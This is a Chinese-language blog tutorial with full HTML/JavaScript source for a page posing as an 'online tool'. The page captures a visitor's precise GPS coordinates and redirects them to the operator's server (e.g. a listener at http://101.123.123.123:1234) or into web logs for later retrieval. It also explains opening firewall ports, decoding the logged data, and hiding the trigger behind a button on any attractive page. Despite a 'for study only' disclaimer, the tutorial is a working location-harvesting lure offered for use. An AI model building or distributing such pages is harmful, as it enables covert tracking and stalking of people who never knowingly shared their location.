获取设备高精度定位

[scode type="blue"]以下教程仅用于学习研究目的，请勿用于非法用途[/scode]

简介

本教程将通过一个静态页面，完成客户端高精度定位的获取

在线体验

高精度定位（简化版） | 高精度定位（美化版）
[button color="success" icon="link" url="https://tools.zane-liu.com/tool/location/" type=""]高精度定位-简化[/button] | [button color="info" icon="link" url="https://tools.zane-liu.com/tool/location_plus/" type=""]高精度定位-美化[/button]

搭建教程

效果预览

点击“获取定位”，可以读取到访问设备的经度和纬度信息。（但并不会传到服务器的日志）

如何实现记录定位信息

开启第26行代码，去掉//，然后填写您的网站路径或者是IP:端口

document.location="https://lza.wang/tool/location/"+ latlong;

可以通过两种方式来记录请求信息

方法一：服务器监听端口记录请求

方法二：服务器日志记录请求

[collapse title="方法一" status="false"]

第一种是服务端口（记得检查安全组配置是否允许该端口，以及服务器防火墙是否开启该端口）
第26行代码，例如，我想让他监听服务器的1234端口

document.location="http://101.123.123.123:1234"+ latlong;

[/collapse]

[collapse title="方法二" status="false"]

如果您无法操作开启服务器端口，您也可以直接使用宝塔面板的日志功能，我们将重定向链接随意修改，可以是一个不存在的路径，但要在服务器的域名路径下，
第26行代码，例如

document.location="https://lza.wang/tool/location_null/"+ latlong;

然后在宝塔面板使用“网站监控报表应用-网站日志”内查找，或者在“/www/wwwlogs/”目录下寻找相关的日志文件，再从日志文件中查找相应信息即可

[/collapse]

相关代码及工具

[scode type="green"]使用方法：直接上传到服务器即可，记住参考上文教程修改第26行代码[/scode]
[collapse title="简化版源代码" status="false"]

<!DOCTYPE html>
<head>

<title>定位小工具</title>
<link rel="shortcut icon" href="https://lza.wang/favicon.ico" type="image/x-icon">
</head>
<html>
<body>
<P>欢迎使用在线小工具</p>
<button onclick="getLocation()">获取定位</button>
<p id="demo"></p>
<script>
var x = document.getElementById("demo")
function getLocation(){
if (navigator.geolocation){
navigator.geolocation.getCurrentPosition(showPosition, errorCallback, {timeout:5000})
} else {
x.innerHTML = "您的浏览器暂不支持该功能，请更换浏览器在进行尝试"//浏览器不支持Geolocation功能
}
}
function showPosition(position){
var latlong = x.innerHTML = " 维度(Latitude) : " + position.coords.latitude + "<br>经度(Longitude) : " + position.coords.longitude;
//document.location="http://123.123.123.123:1234/"+ latlong;
}
function errorCallback(error){
x.innerHTML = "获取失败";
}
</script>
</body>
</html>
<!--作者：FancyPig-->

[/collapse]

[collapse title="URL编码/解码工具" status="false"]

下面是常用的在线URL编码解码工具

站长工具：https://tool.chinaz.com/tools/urlencode.aspx

bejson工具：https://www.bejson.com/enc/urlencode/

jsons工具：http://www.jsons.cn/urlencode/

您也可以使用浏览器插件：[button color="success" icon="github" url="https://github.com/baiy/Ctool" type=""]Ctool程序开发常用工具[/button]

[/collapse]

[collapse title="经纬度查询工具" status="false"]

腾讯位置服务：https://lbs.qq.com/getPoint/

Google地图：https://www.google.com/maps
在地图搜索框内输入您要查询的纬度,经度，需要使用英文的逗号间隔，方可查询

[/collapse]

[collapse title="美化问题" status="false"]

页面美化的问题，您可以随便找一个好看的页面，然后把提交按钮上加入onclick="getLocation()"，同时引入相关的javascript代码，非常简单！
美化版源代码下载：（部分代码有调整，原作者FancyPig）
[button color="success" icon="download" url="https://drive.zane-liu.com/s/vDtj" type=""]本站下载[/button]
[button color="success" icon="download" url="https://lanzouw.com/i2FDWzh6w7c" type=""]备份地址-蓝奏云[/button] , [button color="success" icon="download" url="https://pan.baidu.com/s/1kNyab9wnLp0xRYt_940mzA?pwd=9999" type=""]备份地址-百度网盘[/button]
[button color="success" icon="download" url="https://drive.google.com/file/d/1qvo1uy2ZqOD2lxSoPunp1tiEP__ljz05/view?usp=sharing" type=""]备份地址-Google云盘[/button] , [button color="success" icon="download" url="https://mega.nz/file/uzIFWK5I#N9jINgcRGOoBHoKbSmygBhILHlSd7cxr7L7CXYrbrtk" type=""]备份地址-MEGA[/button]

[/collapse]

常见问题及解决方案

[collapse title="本地打开此工具页面文字乱码" status="false"]

如果是在本地运行，可能会出现UTF-8编码的问题。可以删除<meta charset="utf8">这行代码，刷新页面后恢复正常

[/collapse]

[collapse title="为什么会获取失败" status="false"]

1.浏览器权限“获取您的位置”未允许
2.域名未部署SSL证书（必须通过https的协议）

[/collapse]

[collapse title="服务器日志记录乱码，怎么看" status="false"]

内容是经过URL编码的，需要操作解码，解码工具请参考上文提供的 URL编码/解码工具

[/collapse]

[collapse title="客户端已经访问并获取了位置信息，为什么端口监听不到数据" status="false"]
1.如果您使用的是宝塔面板，请在菜单栏的安全-防火墙内，将您监听的端口放行

2.请排查服务商的安全组是否允许访问监听的端口

[/collapse]

版权属于：FancyPig（部分内容有调整）

原文链接：https://www.iculture.cc/knowledge/pig=7971

本文章已申请原创保护，转载前请务必征求站长同意，感谢您的配合